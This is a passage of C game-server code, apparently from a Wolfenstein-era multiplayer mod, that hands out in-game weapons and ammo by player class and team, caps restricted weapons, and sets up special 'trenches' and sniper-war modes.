COM_BitSet( client->ps.weapons, WP_GRENADE_LAUNCHER );
client->ps.ammo[BG_FindAmmoForWeapon(WP_GRENADE_LAUNCHER)] = 0;
client->ps.ammoclip[BG_FindClipForWeapon(WP_GRENADE_LAUNCHER)] = g_engNades.integer; // JPW NERVE
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_GRENADE_LAUNCHER));
#endif
break;
default:
COM_BitSet( client->ps.weapons, WP_GRENADE_PINEAPPLE );
client->ps.ammo[BG_FindAmmoForWeapon(WP_GRENADE_PINEAPPLE)] = 0;
client->ps.ammoclip[BG_FindClipForWeapon(WP_GRENADE_PINEAPPLE)] = 8; // JPW NERVE
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_GRENADE_PINEAPPLE));
#endif
break;
}
}
if (pc == PC_SOLDIER) { // JPW NERVE
switch( client->sess.sessionTeam ) { // was playerItem
case TEAM_BLUE:
COM_BitSet( client->ps.weapons, WP_GRENADE_PINEAPPLE );
client->ps.ammo[BG_FindAmmoForWeapon(WP_GRENADE_PINEAPPLE)] = 0;
client->ps.ammoclip[BG_FindClipForWeapon(WP_GRENADE_PINEAPPLE)] = g_soldNades.integer; // JPW NERVE
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_GRENADE_PINEAPPLE));
#endif
break;
case TEAM_RED:
COM_BitSet( client->ps.weapons, WP_GRENADE_LAUNCHER );
client->ps.ammo[BG_FindAmmoForWeapon(WP_GRENADE_LAUNCHER)] = 0;
client->ps.ammoclip[BG_FindClipForWeapon(WP_GRENADE_LAUNCHER)] = g_soldNades.integer; // JPW NERVE
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_GRENADE_LAUNCHER));
#endif
break;
default:
COM_BitSet( client->ps.weapons, WP_GRENADE_PINEAPPLE );
client->ps.ammo[BG_FindAmmoForWeapon(WP_GRENADE_PINEAPPLE)] = 0;
client->ps.ammoclip[BG_FindClipForWeapon(WP_GRENADE_PINEAPPLE)] = 4; // JPW NERVE
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_GRENADE_PINEAPPLE));
#endif
break;
}
}
// JPW NERVE
if (pc == PC_MEDIC) {
COM_BitSet(client->ps.weapons, WP_MEDIC_SYRINGE);
client->ps.ammoclip[BG_FindClipForWeapon(WP_MEDIC_SYRINGE)] = 10;
// NERVE - SMF
COM_BitSet( client->ps.weapons, WP_MEDKIT);
client->ps.ammoclip[BG_FindClipForWeapon(WP_MEDKIT)] = 1;
client->ps.ammo[WP_MEDKIT] = 1;
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_MEDIC_SYRINGE));
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_MEDKIT));
#endif
switch( client->sess.sessionTeam ) { // was playerItem
case TEAM_BLUE:
COM_BitSet( client->ps.weapons, WP_GRENADE_PINEAPPLE );
client->ps.ammoclip[BG_FindClipForWeapon(WP_GRENADE_PINEAPPLE)] = g_medNades.integer;
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_GRENADE_PINEAPPLE));
#endif
break;
case TEAM_RED:
COM_BitSet( client->ps.weapons, WP_GRENADE_LAUNCHER );
client->ps.ammoclip[BG_FindClipForWeapon(WP_GRENADE_LAUNCHER)] = g_medNades.integer;
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_GRENADE_LAUNCHER));
#endif
break;
default:
COM_BitSet( client->ps.weapons, WP_GRENADE_PINEAPPLE );
client->ps.ammoclip[BG_FindClipForWeapon(WP_GRENADE_PINEAPPLE)] = 1;
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_GRENADE_PINEAPPLE));
#endif
break;
}
}
// jpw
// Soldiers and Lieutenants get a 2-handed weapon
if ( pc == PC_SOLDIER || pc == PC_LT ) {
// JPW NERVE -- if LT is selected but illegal weapon, set to team-specific SMG
if ((pc == PC_LT) && (client->sess.playerWeapon > 5)) {
if (client->sess.sessionTeam == TEAM_RED)
client->sess.playerWeapon = 3;
else
client->sess.playerWeapon = 4;
}
// jpw
switch( client->sess.playerWeapon ) {
case 3: // WP_MP40
COM_BitSet( client->ps.weapons, WP_MP40 );
client->ps.ammoclip[BG_FindClipForWeapon(WP_MP40)] += 32;
if (pc == PC_SOLDIER)
client->ps.ammo[BG_FindAmmoForWeapon(WP_MP40)] += g_soldExtraClips.integer*32;
else
client->ps.ammo[BG_FindAmmoForWeapon(WP_MP40)] += g_ltExtraClips.integer*32;
client->ps.weapon = WP_MP40;
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_MP40));
#endif
break;
case 4: // WP_THOMPSON
COM_BitSet( client->ps.weapons, WP_THOMPSON );
client->ps.ammoclip[BG_FindClipForWeapon(WP_THOMPSON)] += 30;
if (pc == PC_SOLDIER)
client->ps.ammo[BG_FindAmmoForWeapon(WP_THOMPSON)] += g_soldExtraClips.integer*30;
else
client->ps.ammo[BG_FindAmmoForWeapon(WP_THOMPSON)] += g_ltExtraClips.integer*30;
client->ps.weapon = WP_THOMPSON;
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_THOMPSON));
#endif
break;
case 5: // WP_STEN
COM_BitSet( client->ps.weapons, WP_STEN );
client->ps.ammoclip[BG_FindClipForWeapon(WP_STEN)] += 32;
if (pc == PC_SOLDIER)
client->ps.ammo[BG_FindAmmoForWeapon(WP_STEN)] += g_soldExtraClips.integer*32;
else
client->ps.ammo[BG_FindAmmoForWeapon(WP_STEN)] += g_ltExtraClips.integer*32;
client->ps.weapon = WP_STEN;
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_STEN));
#endif
break;
case 6: // WP_MAUSER, WP_SNIPERRIFLE
if ( pc != PC_SOLDIER )
return;
if(g_maxMauser.integer == 0){
if (client->sess.sessionTeam == TEAM_RED){
COM_BitSet(client->ps.weapons, WP_MP40);
client->ps.ammoclip[BG_FindClipForWeapon(WP_MP40)] += 32;
client->ps.ammo[BG_FindAmmoForWeapon(WP_MP40)] += g_soldExtraClips.integer*32; // Martin - Nov 3 2008 wow old bug
client->ps.weapon = WP_MP40;
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_MP40));
#endif
}else{
COM_BitSet(client->ps.weapons, WP_THOMPSON);
client->ps.ammoclip[BG_FindClipForWeapon(WP_THOMPSON)] += 30;
client->ps.ammo[BG_FindAmmoForWeapon(WP_THOMPSON)] += g_soldExtraClips.integer*30;
client->ps.weapon = WP_THOMPSON;
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_THOMPSON));
#endif
}
trap_SendServerCommand(client->ps.clientNum, va("cp \"Snipers are disabled. \nPlease select a different weapon.\n\""));
break;
}
if (g_maxMauser.integer != -1){
int count = (client->sess.sessionTeam == TEAM_RED) ? level.axisMauser : level.alliedMauser;
if ((count >= g_maxMauser.integer) && (client->pers.restrictedWeapon != WP_MAUSER)){
trap_SendServerCommand(client->ps.clientNum, va("cp \"Maximum number of mausers reached (%d). \nPlease select a different weapon.\n\"", g_maxMauser.integer));
if (client->sess.sessionTeam == TEAM_RED){
COM_BitSet(client->ps.weapons, WP_MP40);
client->ps.ammoclip[BG_FindClipForWeapon(WP_MP40)] += 32;
client->ps.ammo[BG_FindAmmoForWeapon(WP_MP40)] += g_soldExtraClips.integer*32;
client->ps.weapon = WP_MP40;
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_MP40));
#endif
}else{
COM_BitSet(client->ps.weapons, WP_THOMPSON);
client->ps.ammoclip[BG_FindClipForWeapon(WP_THOMPSON)] += 30;
client->ps.ammo[BG_FindAmmoForWeapon(WP_THOMPSON)] += g_soldExtraClips.integer*30;
client->ps.weapon = WP_THOMPSON;
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_THOMPSON));
#endif
}
break;
}
if (client->pers.restrictedWeapon != WP_MAUSER){
(client->sess.sessionTeam == TEAM_RED) ? level.axisMauser++ : level.alliedMauser++;
client->pers.restrictedWeapon = WP_MAUSER;
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_MAUSER));
#endif
}
}
COM_BitSet( client->ps.weapons, WP_SNIPERRIFLE );
client->ps.ammoclip[BG_FindClipForWeapon(WP_SNIPERRIFLE)] = 10;
// client->ps.ammo[BG_FindAmmoForWeapon(WP_SNIPERRIFLE)] = g_mauserExtraClips.integer*10; // Was 10
client->ps.weapon = WP_SNIPERRIFLE;
COM_BitSet( client->ps.weapons, WP_MAUSER );
client->ps.ammoclip[BG_FindClipForWeapon(WP_MAUSER)] = 10;
client->ps.ammo[BG_FindAmmoForWeapon(WP_MAUSER)] += g_mauserExtraClips.integer*10; // Was 10
client->ps.weapon = WP_MAUSER;
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_MAUSER));
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_SNIPERRIFLE));
#endif
break;
case 8: // WP_PANZERFAUST
if ( pc != PC_SOLDIER )
return;
if(g_maxPf.integer == 0){
if (client->sess.sessionTeam == TEAM_RED){
COM_BitSet(client->ps.weapons, WP_MP40);
client->ps.ammoclip[BG_FindClipForWeapon(WP_MP40)] += 32;
client->ps.ammo[BG_FindAmmoForWeapon(WP_MP40)] += 64;
client->ps.weapon = WP_MP40;
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_MP40));
#endif
}
else
{
COM_BitSet(client->ps.weapons, WP_THOMPSON);
client->ps.ammoclip[BG_FindClipForWeapon(WP_THOMPSON)] += 30;
client->ps.ammo[BG_FindAmmoForWeapon(WP_THOMPSON)] += 60;
client->ps.weapon = WP_THOMPSON;
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_THOMPSON));
#endif
}
trap_SendServerCommand(client->ps.clientNum, va("cp \"Panzers are disabled. \nPlease select a different weapon.\n\""));
break;
}
if (g_maxPf.integer != -1)
{
int count = (client->sess.sessionTeam == TEAM_RED) ? level.axisPanz : level.alliedPanz;
if ((count >= g_maxPf.integer) && (client->pers.restrictedWeapon != WP_PANZERFAUST))
{
trap_SendServerCommand(client->ps.clientNum, va("cp \"Maximum number of panzerfausts reached(%d).\nPlease select a different weapon.\n\"", g_maxPf.integer));
if (client->sess.sessionTeam == TEAM_RED)
{
COM_BitSet(client->ps.weapons, WP_MP40);
client->ps.ammoclip[BG_FindClipForWeapon(WP_MP40)] += 32;
client->ps.ammo[BG_FindAmmoForWeapon(WP_MP40)] += 64;
client->ps.weapon = WP_MP40;
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_MP40));
#endif
}
else
{
COM_BitSet(client->ps.weapons, WP_THOMPSON);
client->ps.ammoclip[BG_FindClipForWeapon(WP_THOMPSON)] += 30;
client->ps.ammo[BG_FindAmmoForWeapon(WP_THOMPSON)] += 60;
client->ps.weapon = WP_THOMPSON;
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_THOMPSON));
#endif
}
break;
}
if (client->pers.restrictedWeapon != WP_PANZERFAUST)
{
(client->sess.sessionTeam == TEAM_RED) ? level.axisPanz++ : level.alliedPanz++;
client->pers.restrictedWeapon = WP_PANZERFAUST;
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_PANZERFAUST));
#endif
}
}
COM_BitSet( client->ps.weapons, WP_PANZERFAUST );
if (g_panzerClips.integer > 1)
client->ps.ammoclip[BG_FindClipForWeapon(WP_PANZERFAUST)] = g_panzerClips.integer;
client->ps.ammo[BG_FindAmmoForWeapon(WP_PANZERFAUST)] = g_extraPanzerClips.integer;
client->ps.weapon = WP_PANZERFAUST;
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_PANZERFAUST));
#endif
break;
case 9: // *** WP_VENOM ***
if ( pc != PC_SOLDIER )
return;
if(g_maxVenom.integer == 0){
if (client->sess.sessionTeam == TEAM_RED){
COM_BitSet(client->ps.weapons, WP_MP40);
client->ps.ammoclip[BG_FindClipForWeapon(WP_MP40)] += 32;
client->ps.ammo[BG_FindAmmoForWeapon(WP_MP40)] += g_soldExtraClips.integer*32;
client->ps.weapon = WP_MP40;
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_MP40));
#endif
}else{
COM_BitSet(client->ps.weapons, WP_THOMPSON);
client->ps.ammoclip[BG_FindClipForWeapon(WP_THOMPSON)] += 30;
client->ps.ammo[BG_FindAmmoForWeapon(WP_THOMPSON)] += g_soldExtraClips.integer*30;
client->ps.weapon = WP_THOMPSON;
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_THOMPSON));
#endif
}
trap_SendServerCommand(client->ps.clientNum, va("cp \"Venoms are disabled. \nPlease select a different weapon.\n\""));
break;
}
if (g_maxVenom.integer != -1){
int count = (client->sess.sessionTeam == TEAM_RED) ? level.axisVenom : level.alliedVenom;
if ((count >= g_maxVenom.integer) && (client->pers.restrictedWeapon != WP_VENOM)){
trap_SendServerCommand(client->ps.clientNum, va("cp \"Maximum number of venoms reached (%d). \nPlease select a different weapon.\n\"", g_maxVenom.integer));
if (client->sess.sessionTeam == TEAM_RED){
COM_BitSet(client->ps.weapons, WP_MP40);
client->ps.ammoclip[BG_FindClipForWeapon(WP_MP40)] += 32;
client->ps.ammo[BG_FindAmmoForWeapon(WP_MP40)] += g_soldExtraClips.integer*32;
client->ps.weapon = WP_MP40;
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_MP40));
#endif
}else{
COM_BitSet(client->ps.weapons, WP_THOMPSON);
client->ps.ammoclip[BG_FindClipForWeapon(WP_THOMPSON)] += 30;
client->ps.ammo[BG_FindAmmoForWeapon(WP_THOMPSON)] += g_soldExtraClips.integer*30;
client->ps.weapon = WP_THOMPSON;
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_THOMPSON));
#endif
}
break;
}
if (client->pers.restrictedWeapon != WP_VENOM){
(client->sess.sessionTeam == TEAM_RED) ? level.axisVenom++ : level.alliedVenom++;
client->pers.restrictedWeapon = WP_VENOM;
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_VENOM));
#endif
}
}
COM_BitSet( client->ps.weapons, WP_VENOM );
client->ps.ammoclip[BG_FindAmmoForWeapon(WP_VENOM)] = 500;
client->ps.ammo[BG_FindAmmoForWeapon(WP_VENOM)] += g_venomExtraClips.integer*500;
client->ps.weapon = WP_VENOM;
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_VENOM));
#endif
break;
case 10: // WP_FLAMETHROWER
if ( pc != PC_SOLDIER )
return;
if(g_maxFlamer.integer == 0){
if (client->sess.sessionTeam == TEAM_RED){
COM_BitSet(client->ps.weapons, WP_MP40);
client->ps.ammoclip[BG_FindClipForWeapon(WP_MP40)] += 32;
client->ps.ammo[BG_FindAmmoForWeapon(WP_MP40)] += g_soldExtraClips.integer*32;
client->ps.weapon = WP_MP40;
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_MP40));
#endif
}else{
COM_BitSet(client->ps.weapons, WP_THOMPSON);
client->ps.ammoclip[BG_FindClipForWeapon(WP_THOMPSON)] += 30;
client->ps.ammo[BG_FindAmmoForWeapon(WP_THOMPSON)] += g_soldExtraClips.integer*30;
client->ps.weapon = WP_THOMPSON;
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_THOMPSON));
#endif
}
trap_SendServerCommand(client->ps.clientNum, va("cp \"Flamethrowers are disabled. \nPlease select a different weapon.\n\""));
break;
}
if (g_maxFlamer.integer != -1){
int count = (client->sess.sessionTeam == TEAM_RED) ? level.axisFlame : level.alliedFlame;
if ((count >= g_maxFlamer.integer) && (client->pers.restrictedWeapon != WP_FLAMETHROWER))
{
trap_SendServerCommand(client->ps.clientNum, va("cp \"Maximum number of flamethrowers reached (%d). \nPlease select a different weapon.\n\"", g_maxFlamer.integer));
if (client->sess.sessionTeam == TEAM_RED)
{
COM_BitSet(client->ps.weapons, WP_MP40);
client->ps.ammoclip[BG_FindClipForWeapon(WP_MP40)] += 32;
client->ps.ammo[BG_FindAmmoForWeapon(WP_MP40)] += g_soldExtraClips.integer*32;
client->ps.weapon = WP_MP40;
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_MP40));
#endif
}
else
{
COM_BitSet(client->ps.weapons, WP_THOMPSON);
client->ps.ammoclip[BG_FindClipForWeapon(WP_THOMPSON)] += 30;
client->ps.ammo[BG_FindAmmoForWeapon(WP_THOMPSON)] += g_soldExtraClips.integer*30;
client->ps.weapon = WP_THOMPSON;
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_THOMPSON));
#endif
}
break;
}
if (client->pers.restrictedWeapon != WP_FLAMETHROWER)
{
(client->sess.sessionTeam == TEAM_RED) ? level.axisFlame++ : level.alliedFlame++;
client->pers.restrictedWeapon = WP_FLAMETHROWER;
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_FLAMETHROWER));
#endif
}
}
COM_BitSet( client->ps.weapons, WP_FLAMETHROWER );
client->ps.ammoclip[BG_FindAmmoForWeapon(WP_FLAMETHROWER)] = 200;
client->ps.weapon = WP_FLAMETHROWER;
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_FLAMETHROWER));
#endif
break;
default: // give MP40 if given invalid weapon number
if (client->sess.sessionTeam == TEAM_RED) { // JPW NERVE
COM_BitSet( client->ps.weapons, WP_MP40 );
client->ps.ammoclip[BG_FindClipForWeapon(WP_MP40)] += 32;
client->ps.ammo[BG_FindAmmoForWeapon(WP_MP40)] += g_soldExtraClips.integer* 32;
client->ps.weapon = WP_MP40;
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_MP40));
#endif
}
else { // TEAM_BLUE
COM_BitSet( client->ps.weapons, WP_THOMPSON );
client->ps.ammoclip[BG_FindClipForWeapon(WP_THOMPSON)] += 30;
client->ps.ammo[BG_FindAmmoForWeapon(WP_THOMPSON)] += g_soldExtraClips.integer* 30;
client->ps.weapon = WP_THOMPSON;
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_THOMPSON));
#endif
}
break;
}
}else{ // medic or engineer gets assigned MP40 or Thompson with one magazine ammo
if ((g_chooseMg.integer !=0) && ( client->sess.mp40>0 || client->sess.colorFlags & USE_MP40 ) ){
COM_BitSet( client->ps.weapons, WP_MP40 );
client->ps.ammoclip[BG_FindClipForWeapon(WP_MP40)] += 32;
if (pc == PC_ENGINEER) // OK so engineers get two mags
client->ps.ammo[BG_FindAmmoForWeapon(WP_MP40)] += g_engExtraClips.integer*32;
if (pc == PC_MEDIC) // OK so engineers get two mags
client->ps.ammo[BG_FindAmmoForWeapon(WP_MP40)] += g_medExtraClips.integer*32;
client->ps.weapon = WP_MP40;
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_MP40));
#endif
}else if ((g_chooseMg.integer !=0) && (client->sess.thompson>0 || client->sess.colorFlags & USE_THOMPSON)){
COM_BitSet( client->ps.weapons, WP_THOMPSON );
client->ps.ammoclip[BG_FindClipForWeapon(WP_THOMPSON)] += 30;
if (pc == PC_ENGINEER)
client->ps.ammo[BG_FindAmmoForWeapon(WP_THOMPSON)] += g_engExtraClips.integer*30;
if (pc == PC_MEDIC)
client->ps.ammo[BG_FindAmmoForWeapon(WP_THOMPSON)] += g_medExtraClips.integer*30;
client->ps.weapon = WP_THOMPSON;
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_MP40));
#endif
}else if ((g_chooseMg.integer !=0) && (client->sess.sten>0 || client->sess.colorFlags & USE_STEN)){
COM_BitSet( client->ps.weapons, WP_STEN );
client->ps.ammoclip[BG_FindClipForWeapon(WP_STEN)] += 32;
if (pc == PC_ENGINEER) // OK so engineers get two mags
client->ps.ammo[BG_FindAmmoForWeapon(WP_STEN)] += g_engExtraClips.integer*32;
if (pc == PC_MEDIC)
client->ps.ammo[BG_FindAmmoForWeapon(WP_STEN)] += g_medExtraClips.integer*32;
client->ps.weapon = WP_STEN;
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_STEN));
#endif
}else if (client->sess.sessionTeam == TEAM_RED){ // axis
COM_BitSet( client->ps.weapons, WP_MP40 );
client->ps.ammoclip[BG_FindClipForWeapon(WP_MP40)] += 32;
// JPW NERVE
if (pc == PC_ENGINEER) // OK so engineers get two mags
client->ps.ammo[BG_FindAmmoForWeapon(WP_MP40)] += g_engExtraClips.integer*32;
if (pc == PC_MEDIC) // OK so engineers get two mags
client->ps.ammo[BG_FindAmmoForWeapon(WP_MP40)] += g_medExtraClips.integer*32;
// jpw
client->ps.weapon = WP_MP40;
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_MP40));
#endif
}else if (client->sess.sessionTeam == TEAM_BLUE){
COM_BitSet( client->ps.weapons, WP_THOMPSON );
client->ps.ammoclip[BG_FindClipForWeapon(WP_THOMPSON)] += 30;
// JPW NERVE
if (pc == PC_ENGINEER)
client->ps.ammo[BG_FindAmmoForWeapon(WP_THOMPSON)] += g_engExtraClips.integer*30;
if (pc == PC_MEDIC)
client->ps.ammo[BG_FindAmmoForWeapon(WP_THOMPSON)] += g_medExtraClips.integer*30;
// jpw
client->ps.weapon = WP_THOMPSON;
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_THOMPSON));
#endif
}
}
}else{
//S4NDM4NN-This is for the trenches Just a matter of copy/paste!
/*
===============================
FUN MODE!!!
===============================
*/
//mp40 or thompson=venom
//Panzer has reduced dmg
//
if (g_theTrenchesMode.integer == 2){
if (client->sess.sessionTeam == TEAM_RED){
//AXIS ENGIE
if ( pc == PC_ENGINEER ) {
COM_BitSet( client->ps.weapons, WP_MP40 );
client->ps.ammoclip[BG_FindClipForWeapon(WP_MP40)] += 100;
client->ps.ammo[BG_FindAmmoForWeapon(WP_MP40)] += 0;
client->ps.weapon = WP_MP40;
COM_BitSet( client->ps.weapons, WP_MAUSER );
client->ps.ammoclip[BG_FindClipForWeapon(WP_MAUSER)] = 20;
client->ps.ammo[BG_FindAmmoForWeapon(WP_MAUSER)] = 0;
client->ps.weapon = WP_MAUSER;
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_MP40));
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_MAUSER));
#endif
}
//AXIS MEDIC
else if (pc == PC_MEDIC ) {
COM_BitSet( client->ps.weapons, WP_MP40 );
client->ps.ammoclip[BG_FindClipForWeapon(WP_MP40)] += 100;
client->ps.ammo[BG_FindAmmoForWeapon(WP_MP40)] += 0;
client->ps.weapon = WP_MP40;
COM_BitSet( client->ps.weapons, WP_STEN );
client->ps.ammoclip[BG_FindClipForWeapon(WP_STEN)] += 5;
client->ps.ammo[BG_FindAmmoForWeapon(WP_STEN)] += 0;
client->ps.weapon = WP_STEN;
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_MP40));
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_STEN));
#endif
}
//AXIS LT
else if ( pc == PC_LT ) {
COM_BitSet( client->ps.weapons, WP_MP40 );
client->ps.ammoclip[BG_FindClipForWeapon(WP_MP40)] += 100;
client->ps.ammo[BG_FindAmmoForWeapon(WP_MP40)] += 0;
client->ps.weapon = WP_MP40;
COM_BitSet( client->ps.weapons, WP_PANZERFAUST );
client->ps.ammo[BG_FindClipForWeapon(WP_PANZERFAUST)] = 15;
client->ps.ammo[BG_FindAmmoForWeapon(WP_PANZERFAUST)] = 15;
client->ps.weapon = WP_PANZERFAUST;
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_MP40));
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_PANZERFAUST));
#endif
}
//AXIS SOLDIER/the default
else{
COM_BitSet( client->ps.weapons, WP_MP40 );
client->ps.ammoclip[BG_FindClipForWeapon(WP_MP40)] += 100;
client->ps.ammo[BG_FindAmmoForWeapon(WP_MP40)] += 0;
client->ps.weapon = WP_MP40;
COM_BitSet( client->ps.weapons, WP_FLAMETHROWER );
client->ps.ammoclip[BG_FindAmmoForWeapon(WP_FLAMETHROWER)] = 200;
client->ps.weapon = WP_FLAMETHROWER;
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_MP40));
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_FLAMETHROWER));
#endif
}
}
//ALLIES
else{
//ALLIES ENGIE
if ( pc == PC_ENGINEER ) {
COM_BitSet( client->ps.weapons, WP_THOMPSON );
client->ps.ammoclip[BG_FindClipForWeapon(WP_THOMPSON)] += 100;
client->ps.ammo[BG_FindAmmoForWeapon(WP_THOMPSON)] += 0;
client->ps.weapon = WP_THOMPSON;
COM_BitSet( client->ps.weapons, WP_MAUSER );
client->ps.ammoclip[BG_FindClipForWeapon(WP_MAUSER)] = 20;
client->ps.ammo[BG_FindAmmoForWeapon(WP_MAUSER)] = 0;
client->ps.weapon = WP_MAUSER;
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_THOMPSON));
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_MAUSER));
#endif
}
//ALLIES MEDIC
else if (pc == PC_MEDIC ) {
COM_BitSet( client->ps.weapons, WP_THOMPSON );
client->ps.ammoclip[BG_FindClipForWeapon(WP_THOMPSON)] += 100;
client->ps.ammo[BG_FindAmmoForWeapon(WP_THOMPSON)] += 0;
client->ps.weapon = WP_THOMPSON;
COM_BitSet( client->ps.weapons, WP_STEN );
client->ps.ammoclip[BG_FindClipForWeapon(WP_STEN)] += 5;
client->ps.ammo[BG_FindAmmoForWeapon(WP_STEN)] += 0;
client->ps.weapon = WP_STEN;
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_THOMPSON));
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_STEN));
#endif
}
//ALLIES LT
else if ( pc == PC_LT ) {
COM_BitSet( client->ps.weapons, WP_THOMPSON );
client->ps.ammoclip[BG_FindClipForWeapon(WP_THOMPSON)] += 100;
client->ps.ammo[BG_FindAmmoForWeapon(WP_THOMPSON)] += 0;
client->ps.weapon = WP_THOMPSON;
COM_BitSet( client->ps.weapons, WP_PANZERFAUST );
client->ps.ammo[BG_FindClipForWeapon(WP_PANZERFAUST)] = 15;
client->ps.ammo[BG_FindAmmoForWeapon(WP_PANZERFAUST)] = 15;
client->ps.weapon = WP_PANZERFAUST;
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_THOMPSON));
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_PANZERFAUST));
#endif
}
//ALLIES SOLDIER/default default
else{
COM_BitSet( client->ps.weapons, WP_THOMPSON );
client->ps.ammoclip[BG_FindClipForWeapon(WP_THOMPSON)] += 100;
client->ps.ammo[BG_FindAmmoForWeapon(WP_THOMPSON)] += 0;
client->ps.weapon = WP_THOMPSON;
COM_BitSet( client->ps.weapons, WP_FLAMETHROWER );
client->ps.ammoclip[BG_FindAmmoForWeapon(WP_FLAMETHROWER)] = 200;
client->ps.weapon = WP_FLAMETHROWER;
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_THOMPSON));
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_FLAMETHROWER));
#endif
}
}
}
/*
================================
END FUN MODE
================================
================================
SNIPER WAR MODE
================================
*/
else if (g_theTrenchesMode.integer == 3 ){
COM_BitSet( client->ps.weapons, WP_SNIPERRIFLE );
client->ps.ammoclip[BG_FindClipForWeapon(WP_SNIPERRIFLE)] = 0;
client->ps.ammo[BG_FindAmmoForWeapon(WP_SNIPERRIFLE)] = 999999;
